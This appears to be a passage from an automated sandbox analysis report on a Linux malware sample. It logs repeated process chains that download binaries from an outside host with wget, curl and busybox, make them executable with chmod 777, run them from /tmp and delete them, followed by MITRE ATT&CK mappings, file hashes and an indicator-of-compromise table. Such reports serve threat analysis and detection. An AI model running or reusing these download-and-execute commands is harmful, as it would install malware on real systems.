- /bin/chmod
  chmod 777 MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  ./MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - System Network Configuration Discovery
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  ./EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm EnYQHS5opq5T32VpyDylr0gihpQo679XdB
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  ./tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
  2⤵
  PID:994
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:995
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - System Network Configuration Discovery
  PID:998
- /bin/chmod
  chmod 777 fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  ./fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /bin/chmod
  chmod 777 U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  ./U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:1012
- /bin/chmod
  chmod 777 Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  ./Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
  2⤵
  PID:1015
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:1016
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1017
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - System Network Configuration Discovery
  PID:1019
- /bin/chmod
  chmod 777 XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - File and Directory Permissions Modification
  PID:1020
- /tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  ./XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  - Executes dropped EXE
  PID:1021
- /bin/rm
  rm XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
  2⤵
  PID:1022

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF

Path /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	754	Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	761	V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	784	Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	815	qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	830	Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	839	W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	868	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	881	MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	888	EnYQHS5opq5T32VpyDylr0gihpQo679XdB
/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	895	tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	902	fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	909	U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	916	Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	923	XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK
/tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF	930	Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
/tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN	937	V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
/tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs	944	Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
/tmp/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1	951	qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
/tmp/Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb	958	Kt9HhKY6FZNEAAbr3f3VI82radDNcMXbxb
/tmp/W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI	965	W2vetnbOmkub1srIqyq0lOn3LyrBLxdzdI
/tmp/E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm	972	E5MUVHw7lEHtSdKOQa0F6EiRutVIpeiKVm
/tmp/MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ	979	MV489Abpw8kcShUKUK9WFYEvIXxcXCdmLJ
/tmp/EnYQHS5opq5T32VpyDylr0gihpQo679XdB	986	EnYQHS5opq5T32VpyDylr0gihpQo679XdB
/tmp/tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9	993	tHnlNwKWnnsiDT6kwwc05ngaRjnp3DgKS9
/tmp/fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF	1000	fNqyEk4D7NTkO44ep4ZGovrUfMatpop6KF
/tmp/U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4	1007	U9imeKEJNxqQy9RZni8kd3iuhxpV3uFBu4
/tmp/Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX	1014	Kbfn4jVLEIVcmwkdNcJ0nsHqalyjL8TQwX
/tmp/XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK	1021	XC9BuPjFSbLRa5Ii2yYqi1wv02aQwD4NJK